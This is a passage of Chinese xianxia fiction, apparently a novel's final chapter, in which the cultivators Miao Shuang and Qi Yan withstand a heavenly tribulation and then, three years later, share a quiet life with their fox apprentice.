化神境的瓶颈越来越松动,祁雁也支撑得越来越困难,终于,苗霜感觉身体一轻,仿佛有什么桎梏被强行冲破,浅金色的虚影自他周身显现,元婴化作元神,出窍离体,他得以借助元神睁开双眼,看清四周的一切。 最后一抹墨色从祁雁发尾褪去,他面容苍白,唇无血色,俨然已到了极限。 两人的境界一个跌落,一个攀升,便在达到等同的一瞬间,苗霜终于抢回了身体的控制权,他毫不犹豫地切断了灵力的输送,强行将祁雁推开。 “咳!”灌体被迫终止,祁雁再也支撑不住,猛地呛出一口血来,点点鲜红顺着唇边淌落,落在一尘不染的雪野里,白得晃眼,红得刺目。 苗霜的元神怒视着他:“祁雁!” 祁雁缓缓拭去唇边血迹,双手掐诀:“先抵御天劫,其他的以后再说。” 结界挨了几下天雷,已经出现裂痕,祁雁再次将仙力注入,裂痕被一寸寸抹去,归复如初。 苗霜收元神归窍,这数个大境界的天劫叠加,也不知道究竟有多强,他望着天上翻滚不止,没有任何止歇趋势的雷云,气不打一处来。 他哪知道该怎么抵御天劫,当魔尊的一千七百年,他练的都是青冥心诀逆练版,现在青冥心诀没了,逆练版自然也没了。 清净诀虽能平心静气,却是本最基础的练心功法,消除魔气好用,对付天劫却是半点用处都派不上。 无奈,他只得拿出了自己的看家本领,浅碧色的光晕将两人笼罩,祁雁顿时觉得身体一阵轻松,体内的伤势在迅速痊愈。 他有些惊讶地看向苗霜:“我都快忘了,师弟是木火双灵根。” 苗霜冷冷道:“闭嘴。” 疗愈之术让祁雁很快好了起来,可以专心致志地抵御天劫,雷光闪烁之间,天色时明时暗,唯有他们所在的结界和结界中的光晕岿然不动。 他们两个能稳稳坐在这里,对于五岁幼狐来说却难了,狐小迟被狂风刮得不断向后退,在雪地上留下两道长长的爪痕。 “师……救……” 风声盖过他的呼喊,眼看着就要被吹出结界范围,便在此时,一条不知从哪冒出来的藤蔓从雪地里钻出,在他腰间一缠一甩,直接将他扔回了结界中心。 狐小迟被丢得晕晕乎乎,四仰八叉地躺在地上,忽然感觉周遭风雪止歇,一束白光自他们周身升起,至达天际,云层被破开,露出如洗的蓝天。 雷劫消散,阳光重新洒了下来,他感觉到漫天细雪纷纷而落,沾在脸颊上,凉凉的。 那雪片又忽而变作花瓣,朔风化作春风,绿意以他们为中心,席卷了这片白茫茫的天地,青草自白雪中冒出,寒冰融化成春水。 两人坐在波光粼粼的湖面之上,苗霜缓缓收回唤万物苏生的仙法,对某人的命名很不满:“什么寂雪野,明明是我的天露池。” “啊!”狐小迟身下一轻,噗通一声掉进了湖里。 * 三年后。 自泊雁仙尊为白发赤魔重塑肉身引发天地异象至今,已经过去很久了。 祁雁的境界从炼虚大圆满跌落至化神初期,整个修真界无不震撼,但所谓福祸相依,对青锋派来说,和这个噩耗一并到来的,是他们又多了一位和祁雁修为在伯仲之间的师叔祖。 青冥心诀被毁,各仙门皆是实力大损,而今能有两位化神修士坐镇,青锋派依然能立于仙道之首,这让派内弟子们放下心来,千年前青锋派差点被各派联合围攻一事,他们还心有余悸。 经过各大仙门三年间的努力,修真界各处的魔气已消解了不少,而关在芥子世界里的各派掌门也基本上都被放了出来,只剩一个本就寿元将尽的九棋谷莫掌门,在最初被关进阵法时就因魔气侵体而亡,以及一个惊霆刀门的项掌门,到现在还没能战胜邪念,祁雁也就只能将他一直关着。 今日也是风平浪静的一天,几个青锋派弟子外出驱除魔气回来,其中一人活动了一下肩膀:“我怎么觉着我这浑身都不得劲呢……别是又被魔气入体了吧,我得去找白发赤魔看看。” “都三年了,怎么还叫人家白发赤魔?” “那叫什么?黑发赤魔?” “……有没有可能,人家早就已经不是魔了?” 苗霜正在祁雁的仙府中,懒洋洋地窝在躺椅里晒太阳,一条红眼睛的白蛇在他种植的灵田里爬来爬去,时不时偷吃两口仙草嫩叶。 当然,这蛇其实是祁雁的剑,当年祁雁为他重塑肉身时,便将剑灵从他神魂中分离了出来,又将断剑重铸,在剑柄尾端正反面各镶了一颗红玛瑙。 只不过当惯了蛇的剑灵已经不想再做一个死物件,祁雁拔剑的次数又屈指可数,相比之下,它还是乐意变成蛇四处活动。 狐小迟帮苗霜看着丹炉,凝神控制着丹炉中狐火的火候。 苗霜睁开一只眼看了看他,又翻了个身继续小憩。 现在的他虽然和祁雁修为差不多,却因为境界突破太快,根基并不稳固,所以他没事就在这里炼炼丹,给门内弟子们看看病,以巩固境界。 正想着,弟子们又来报到了,狐小迟一个分心,狐火一晃,丹炉瞬间炸了个四分五裂。 他吓得大叫:“哇啊!” 苗霜:“……” 没救了。 这狐狸跟着他们修炼,虽然努力,悟性却实在一般,也不知道祁雁哪只眼睛看出他灵根没问题,要不还是让祁雁自己教吧。 他瞥了眼前来找他看病的弟子,不耐烦地甩给他们一瓶丹药:“这点魔气,以后自己解决,不是断胳膊断腿碎金丹入魔发疯别来找我。” 弟子们赶紧溜了,窃窃私语道:“他们说白发……呸,师叔祖脾气不大好,我还以为只是说说,没想到竟是真的啊。” “当然是真的了,谁给你他脾气好的错……啊,掌门。” 那弟子话到一半,看到迎面而来的人,立刻低头行礼。 祁雁点点头,目光扫过他们手中的丹药:“摒弃杂念,驱除魔气,本就是修炼的一部分,丹药毕竟是外物,能不吃尽量不吃,师弟不想给你们丹药,也是怕你们过度依赖外物,适得其反。” 弟子们被说得面皮一红:“谨遵掌门教诲。” “嗯,去吧。” 送走了弟子们,祁雁回到自己的仙府,就看到满地狼籍,灰头土脸的小狐狸正对着炸裂的丹炉念复原咒,念了好几遍,丹炉却纹丝不动。 狐小迟急得鼻尖冒汗,祁雁摇了摇头,衣袖一拂,满地碎片立刻聚拢,重新拼合成完整的丹炉,无一丝裂痕。 又捏了道净衣诀,弄干净狐小迟挂满炉灰的狐狸毛。 狐小迟抬起头:“谢、谢师父!” 苗霜打着哈欠爬起身来,抬眼看他。 自三年前祁雁损耗了一半修为和寿元为他重塑肉身,便青丝化雪,虽然这点事对他们修真者来说不算什么,随手捏个诀就变回来了,但苗霜没让他变,他觉得祁雁现在这个样子也挺好看,等他看腻了再说。 谁让祁雁给他捏肉身,把他捏回了入魔前的样子,按照广大修真者们的杏癖,总得有一个人头发是白的吧。 “你这般帮他,他几时才能学会?”他道。 “逼得太狠却也不好。” “算了,随你,”苗霜一摆手,“我又寻了几本双修秘籍,你打算什么时候……” 一提起这个,祁雁赶忙让狐小迟自己去玩,叹口气道:“师弟就不能别总当着徒弟的面说这些?” “怕什么,妖族善淫,有什么说不得的?”苗霜面不改色,“据说双修也能巩固境界,真的不试试?” 祁雁沉吟片刻:“山巅有一灵泉,不如去那里吧。” “好啊。” 说走就走,苗霜挽着他的胳膊离开仙府,寻着山间小径往更高处而去。 一阵寒风袭来,点点碎雪卷上两人发梢,似是若有所感,苗霜回过头来。 他伸手指向天边:“师兄,你看。” 一行大雁穿越云海,自遥远的天际而来,从万仞之高的青锋山上掠过。 “它们飞得可真高啊。” 两人于山崖边并肩而立,一如当年。 雁字归时,霜落满头。